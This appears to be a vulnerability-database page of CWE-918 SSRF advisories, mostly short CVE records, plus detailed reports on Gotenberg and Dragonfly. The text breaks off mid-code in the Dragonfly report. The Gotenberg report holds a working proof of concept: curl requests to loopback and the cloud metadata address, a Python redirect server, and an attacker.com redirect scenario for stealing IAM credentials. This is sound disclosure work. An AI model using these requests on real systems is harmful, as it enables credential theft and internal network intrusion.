Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4757 vulnerabilities reference this CWE, most recent first.

GHSA-CGM6-WVP9-4G5H

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32
VLAI
Details

A server-side request forgery (SSRF) flaw was found in KubeVirt's virt-api port-forward handler. When processing a port-forward request to a VirtualMachineInstance (VMI), virt-api reads the target IP from vmi.Status.Interfaces[0].IP and passes it directly to net.Dial() without validation. For VMIs using non-masquerade network bindings (bridge or secondary-only), this IP is reported by the QEMU guest agent running inside the VM and is fully controllable by the VM owner. An attacker with kubevirt.io:edit permissions can create a VM with a modified guest agent that reports an arbitrary IP address, then request port-forward to establish a bidirectional TCP tunnel from virt-api's cluster-internal network position to any routable destination, bypassing NetworkPolicy isolation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-13318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T00:16:51Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) flaw was found in KubeVirt\u0027s virt-api port-forward handler. When processing a port-forward request to a VirtualMachineInstance (VMI), virt-api reads the target IP from vmi.Status.Interfaces[0].IP and passes it directly to net.Dial() without validation. For VMIs using non-masquerade network bindings (bridge or secondary-only), this IP is reported by the QEMU guest agent running inside the VM and is fully controllable by the VM owner. An attacker with kubevirt.io:edit permissions can create a VM with a modified guest agent that reports an arbitrary IP address, then request port-forward to establish a bidirectional TCP tunnel from virt-api\u0027s cluster-internal network position to any routable destination, bypassing NetworkPolicy isolation.",
  "id": "GHSA-cgm6-wvp9-4g5h",
  "modified": "2026-06-26T00:32:07Z",
  "published": "2026-06-26T00:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13318"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-13318"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492659"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGQH-2W33-H8JQ

Vulnerability from github – Published: 2026-01-07 15:30 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in minnur External Media allows Server Side Request Forgery.This issue affects External Media: from n/a through 1.0.36.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-49335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-07T15:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in minnur External Media allows Server Side Request Forgery.This issue affects External Media: from n/a through 1.0.36.",
  "id": "GHSA-cgqh-2w33-h8jq",
  "modified": "2026-04-01T18:36:31Z",
  "published": "2026-01-07T15:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49335"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/external-media/vulnerability/wordpress-external-media-plugin-1-0-36-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGVJ-5XXJ-MF5J

Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2026-04-01 18:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in DLX Plugins Comment Edit Core – Simple Comment Editing allows Server Side Request Forgery. This issue affects Comment Edit Core – Simple Comment Editing: from n/a through 3.0.33.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-24T18:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in DLX Plugins Comment Edit Core \u2013 Simple Comment Editing allows Server Side Request Forgery. This issue affects Comment Edit Core \u2013 Simple Comment Editing: from n/a through 3.0.33.",
  "id": "GHSA-cgvj-5xxj-mf5j",
  "modified": "2026-04-01T18:33:27Z",
  "published": "2025-01-24T18:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24703"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/simple-comment-editing/vulnerability/wordpress-comment-edit-core-simple-comment-editing-plugin-3-0-33-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CH3M-6MV4-C3WH

Vulnerability from github – Published: 2025-07-11 12:30 – Updated: 2025-11-03 21:34
VLAI
Details

CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthenticated remote code execution when the server is accessed via the network with knowledge of hidden URLs and manipulation of host request header.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-50125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-11T11:15:23Z",
    "severity": "MODERATE"
  },
  "details": "CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthenticated remote\ncode execution when the server is accessed via the network with knowledge of hidden URLs and manipulation\nof host request header.",
  "id": "GHSA-ch3m-6mv4-c3wh",
  "modified": "2025-11-03T21:34:05Z",
  "published": "2025-07-11T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50125"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-189-01.pdf"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jul/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CH5H-VGJ6-VHX6

Vulnerability from github – Published: 2024-03-28 06:30 – Updated: 2025-03-05 21:32
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Brainstorm Force Spectra.This issue affects Spectra: from n/a through 2.6.6.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-28T06:15:09Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Brainstorm Force Spectra.This issue affects Spectra: from n/a through 2.6.6.",
  "id": "GHSA-ch5h-vgj6-vhx6",
  "modified": "2025-03-05T21:32:03Z",
  "published": "2024-03-28T06:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36679"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/ultimate-addons-for-gutenberg/wordpress-spectra-plugin-2-6-6-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CHFJ-FXFR-5GJ5

Vulnerability from github – Published: 2025-02-21 18:31 – Updated: 2025-02-21 18:31
VLAI
Details

A vulnerability was found in iteachyou Dreamer CMS 4.1.3. It has been declared as problematic. This vulnerability affects unknown code of the file /admin/archives/edit. The manipulation of the argument editorValue/answer/content leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-21T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in iteachyou Dreamer CMS 4.1.3. It has been declared as problematic. This vulnerability affects unknown code of the file /admin/archives/edit. The manipulation of the argument editorValue/answer/content leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-chfj-fxfr-5gj5",
  "modified": "2025-02-21T18:31:14Z",
  "published": "2025-02-21T18:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1548"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cydtseng/Vulnerability-Research/blob/main/dreamercms/RemoteFileInclusion-ArticleEditorImageUpload.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.296494"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.296494"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.497602"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CHWH-F6GM-R836

Vulnerability from github – Published: 2026-05-11 13:51 – Updated: 2026-07-21 13:57
VLAI
Summary
Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass
Details

A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the downloadFrom endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the webhook endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (/forms/chromium/convert/url), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to downloadFrom and webhook but is a separate finding from the initial request validation those advisories cover.

Summary

Gotenberg's Chromium URL-to-PDF endpoint (/forms/chromium/convert/url) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks file:// URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF.

Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows 302 redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list.

What makes this particularly notable is that Gotenberg's secondary features — downloadFrom and webhook — ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not.

Details

Finding 1: Zero default SSRF protection on Chromium URL endpoint

The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in pkg/modules/chromium/chromium.go and the value shipped in Docker is:

^file:(?!//\/tmp/).*

This regex only blocks file:// URIs outside of /tmp/. HTTP and HTTPS requests to any host — including 127.0.0.1, 10.x.x.x, 192.168.x.x, and 169.254.169.254 — are not filtered at all.

Meanwhile, the downloadFrom and webhook endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint.

Finding 2: Redirect-based SSRF bypass on all endpoints

Both downloadFrom and webhook use Go's default http.Client{} with no CheckRedirect function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination.

The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target.

PoC

Tested on Docker using gotenberg/gotenberg:8 (v8.30.1) on localhost:3000. No authentication is required on any endpoint.

Environment:

$ curl http://localhost:3000/version
8.30.1

$ curl http://localhost:3000/health
{"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}}

1. Control — external URL works as expected:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://example.com' \
    -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 14961 bytes
$ file test.pdf
test.pdf: PDF document, version 1.4, 1 page(s)

2. Control — file:// protocol is correctly blocked by default deny-list:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=file:///etc/passwd' \
    -w "HTTP %{http_code}"

HTTP 403
Body: Forbidden

3. SSRF to localhost — NOT blocked:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://127.0.0.1:3000/health' \
    -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10196 bytes

Chromium fetched its own /health endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback.

4. Cloud metadata IP — NOT blocked:

$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://169.254.169.254/latest/meta-data/' \
    -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 000, Size: 0 bytes (timeout — no metadata service in Docker, but request was NOT blocked)

The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF.

5. Redirect-based bypass — Chromium follows 302 to internal target:

Redirect server on the host (port 9999):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000/health')
        self.end_headers()
    def do_HEAD(self):
        self.do_GET()

HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever()
$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://172.17.0.1:9999/' \
    -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10244 bytes
$ file redir.pdf
redir.pdf: PDF document, version 1.4, 1 page(s)

Chromium followed the 302 redirect from http://172.17.0.1:9999/ (external, passes any deny-list) to http://127.0.0.1:3000/health (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination.

The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only file:// URIs were blocked by the default deny-list. The redirect from an external server to 127.0.0.1 was also followed without any check on the redirect target.

Impact

Any user who can reach the Gotenberg API — which requires no authentication by default — can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access.

Practical attack scenarios:

  • Cloud credential theft: Request http://169.254.169.254/latest/meta-data/iam/security-credentials/ to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints.
  • Internal service access: Reach any HTTP service on the internal network that the Gotenberg container can route to — admin panels, databases with HTTP interfaces, monitoring dashboards.
  • Internal port scanning: Use response timing and content differences to map internal infrastructure.
  • Deny-list bypass via redirect: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at https://attacker.com/r that responds with 302 → http://169.254.169.254/latest/meta-data/. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF.

The redirect bypass also affects the downloadFrom and webhook endpoints, which use Go's http.Client{} with no CheckRedirect function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:51:09Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "HIGH"
  },
  "details": "A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the `downloadFrom` endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the `webhook` endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (`/forms/chromium/convert/url`), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to `downloadFrom` and `webhook` but is a separate finding from the initial request validation those advisories cover.\n\n### Summary\n\nGotenberg\u0027s Chromium URL-to-PDF endpoint (`/forms/chromium/convert/url`) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks `file://` URIs. An unauthenticated attacker can point Chromium at any internal IP \u2014 including loopback, RFC 1918 ranges, and cloud metadata endpoints \u2014 and receive the response rendered as a PDF.\n\nAdditionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg\u0027s Chromium instance follows `302` redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list.\n\nWhat makes this particularly notable is that Gotenberg\u0027s secondary features \u2014 `downloadFrom` and `webhook` \u2014 ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not.\n\n### Details\n\n**Finding 1: Zero default SSRF protection on Chromium URL endpoint**\n\nThe Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in `pkg/modules/chromium/chromium.go` and the value shipped in Docker is:\n\n```\n^file:(?!//\\/tmp/).*\n```\n\nThis regex only blocks `file://` URIs outside of `/tmp/`. HTTP and HTTPS requests to any host \u2014 including `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, and `169.254.169.254` \u2014 are not filtered at all.\n\nMeanwhile, the `downloadFrom` and `webhook` endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint.\n\n**Finding 2: Redirect-based SSRF bypass on all endpoints**\n\nBoth `downloadFrom` and `webhook` use Go\u0027s default `http.Client{}` with no `CheckRedirect` function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination.\n\nThe Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target.\n\n### PoC\n\nTested on Docker using `gotenberg/gotenberg:8` (v8.30.1) on `localhost:3000`. No authentication is required on any endpoint.\n\n**Environment:**\n```\n$ curl http://localhost:3000/version\n8.30.1\n\n$ curl http://localhost:3000/health\n{\"status\":\"up\",\"details\":{\"chromium\":{\"status\":\"up\"},\"libreoffice\":{\"status\":\"up\"}}}\n```\n\n**1. Control \u2014 external URL works as expected:**\n```\n$ curl -X POST http://localhost:3000/forms/chromium/convert/url \\\n    --form \u0027url=http://example.com\u0027 \\\n    -o test.pdf -w \"HTTP %{http_code}, Size: %{size_download} bytes\"\n\nHTTP 200, Size: 14961 bytes\n$ file test.pdf\ntest.pdf: PDF document, version 1.4, 1 page(s)\n```\n\n**2. Control \u2014 `file://` protocol is correctly blocked by default deny-list:**\n```\n$ curl -X POST http://localhost:3000/forms/chromium/convert/url \\\n    --form \u0027url=file:///etc/passwd\u0027 \\\n    -w \"HTTP %{http_code}\"\n\nHTTP 403\nBody: Forbidden\n```\n\n**3. SSRF to localhost \u2014 NOT blocked:**\n```\n$ curl -X POST http://localhost:3000/forms/chromium/convert/url \\\n    --form \u0027url=http://127.0.0.1:3000/health\u0027 \\\n    -o ssrf.pdf -w \"HTTP %{http_code}, Size: %{size_download} bytes\"\n\nHTTP 200, Size: 10196 bytes\n```\n\nChromium fetched its own `/health` endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback.\n\n**4. Cloud metadata IP \u2014 NOT blocked:**\n```\n$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \\\n    --form \u0027url=http://169.254.169.254/latest/meta-data/\u0027 \\\n    -o meta.pdf -w \"HTTP %{http_code}, Size: %{size_download} bytes\"\n\nHTTP 000, Size: 0 bytes (timeout \u2014 no metadata service in Docker, but request was NOT blocked)\n```\n\nThe request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF.\n\n**5. Redirect-based bypass \u2014 Chromium follows 302 to internal target:**\n\nRedirect server on the host (port 9999):\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://127.0.0.1:3000/health\u0027)\n        self.end_headers()\n    def do_HEAD(self):\n        self.do_GET()\n\nHTTPServer((\u00270.0.0.0\u0027, 9999), RedirectHandler).serve_forever()\n```\n\n```\n$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \\\n    --form \u0027url=http://172.17.0.1:9999/\u0027 \\\n    -o redir.pdf -w \"HTTP %{http_code}, Size: %{size_download} bytes\"\n\nHTTP 200, Size: 10244 bytes\n$ file redir.pdf\nredir.pdf: PDF document, version 1.4, 1 page(s)\n```\n\nChromium followed the 302 redirect from `http://172.17.0.1:9999/` (external, passes any deny-list) to `http://127.0.0.1:3000/health` (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination.\n\nThe Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only `file://` URIs were blocked by the default deny-list. The redirect from an external server to `127.0.0.1` was also followed without any check on the redirect target.\n\n### Impact\n\nAny user who can reach the Gotenberg API \u2014 which requires no authentication by default \u2014 can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access.\n\nPractical attack scenarios:\n\n- **Cloud credential theft**: Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints.\n- **Internal service access**: Reach any HTTP service on the internal network that the Gotenberg container can route to \u2014 admin panels, databases with HTTP interfaces, monitoring dashboards.\n- **Internal port scanning**: Use response timing and content differences to map internal infrastructure.\n- **Deny-list bypass via redirect**: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at `https://attacker.com/r` that responds with `302 \u2192 http://169.254.169.254/latest/meta-data/`. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF.\n\nThe redirect bypass also affects the `downloadFrom` and `webhook` endpoints, which use Go\u0027s `http.Client{}` with no `CheckRedirect` function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop.\n\n---",
  "id": "GHSA-chwh-f6gm-r836",
  "modified": "2026-07-21T13:57:40Z",
  "published": "2026-05-11T13:51:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-chwh-f6gm-r836"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42595"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass"
}

GHSA-CHWM-M7G7-685G

Vulnerability from github – Published: 2026-07-06 20:32 – Updated: 2026-07-06 20:57
VLAI
Summary
Dragonfly scheduler v1 and v2 gRPC unauthenticated SSRF via attacker-controlled PeerHost in DownloadTinyFile
Details

Summary

The Dragonfly scheduler's v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls Peer.DownloadTinyFile() and issues an HTTP GET to a host and port taken verbatim from the attacker-controlled PeerHost.Ip / PeerHost.DownPort fields of the gRPC request body. The HTTP client uses a bare http.Transport with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including 127.0.0.1 (loopback), 169.254.0.0/16 (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in Task.DirectPiece and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.

The manager's preheat code path already wraps its HTTP client with nethttp.NewSafeDialer() (which rejects non-global-unicast destinations); the scheduler's DownloadTinyFile path is missing this guard (sibling gap).

Severity

Medium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to TinyFileSize (128) bytes per task from internal HTTP services into Task.DirectPiece. It is not remote code execution, and PeerHost.DownPort is constrained by proto validation to >= 1024, which excludes destination port 80.

Affected component

  • Repository: dragonflyoss/dragonfly
  • Go module: d7y.io/dragonfly/v2
  • Component: scheduler, v1 gRPC protocol
  • Affected file: scheduler/resource/standard/peer.go (DownloadTinyFile), reached via scheduler/service/service_v1.go (storeHost, RegisterPeerTask, ReportPeerResult, handlePeerSuccess)
  • Verified against: latest release v2.4.4-rc.2 (commit 0822e3aecc3369017d6b25c9441ff6f318129b31)

Description / Root cause

The scheduler exposes the v1 gRPC service without authentication by default:

A remote client can therefore invoke RegisterPeerTask and ReportPeerResult without credentials. The PeerHost message carried in the request is consumed by storeHost in scheduler/service/service_v1.go lines 816-845, which copies peerHost.Ip and peerHost.DownPort directly into resource.Host.IP and resource.Host.DownloadPort with no destination-address restriction. The proto validator only requires PeerHost.Ip to be a syntactically valid IP (net.ParseIP != nil) and DownPort in [1024, 65535); it does not restrict the address to global-unicast, so 127.0.0.1, 169.254.169.254, and RFC1918 addresses all pass validation.

When the reported peer is a TINY task, handlePeerSuccess lines 1176-1202 calls peer.DownloadTinyFile() and stores the result in peer.Task.DirectPiece. The sink, DownloadTinyFile lines 435-478, builds the URL from net.JoinHostPort(p.Host.IP, p.Host.DownloadPort) and dispatches it through a bare http.Transport (TLSClientConfig: InsecureSkipVerify: true) with no DialContext/socket control:

targetURL := url.URL{
    Scheme:   "http",
    Host:     net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),
    Path:     fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID),
    RawQuery: fmt.Sprintf("peerId=%s", p.ID),
}

req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)
if err != nil {
    return []byte{}, err
}

req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1))
p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header)

client := &http.Client{
    Timeout: 30 * time.Second,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

resp, err := client.Do(req)

By contrast, the manager's preheat path in internal/job/image.go line 211 sets DialContext: nethttp.NewSafeDialer().DialContext, and safeSocketControl in pkg/net/http/http.go lines 60-80 rejects any destination where !ip.IsGlobalUnicast(). The scheduler DownloadTinyFile path is missing this protection.

Proof of Concept / End-to-end verification

All three drivers below were built inside the d7y.io/dragonfly/v2 module at commit 0822e3aecc3369017d6b25c9441ff6f318129b31 (release v2.4.4-rc.2), so they invoke the genuine, unmodified production sink standard.Peer.DownloadTinyFile() and the genuine nethttp.NewSafeDialer() / safeSocketControl. No reimplementation of the sink is used in the positive control.

1) Pinned build

git clone --depth 1 --branch v2.4.4-rc.2 \
  https://github.com/dragonflyoss/dragonfly.git
cd dragonfly
git rev-parse HEAD     # 0822e3aecc3369017d6b25c9441ff6f318129b31
go version             # go1.26.1

2) Confirming the deployed scheduler binary is unauthenticated by default

The scheduler builds and serves the v1 gRPC service with insecure transport credentials when Server.TLS is unset (the shipped default). The relevant decision is at scheduler/scheduler.go:235-246:

if cfg.Server.TLS != nil {
    // Initialize grpc server with tls.
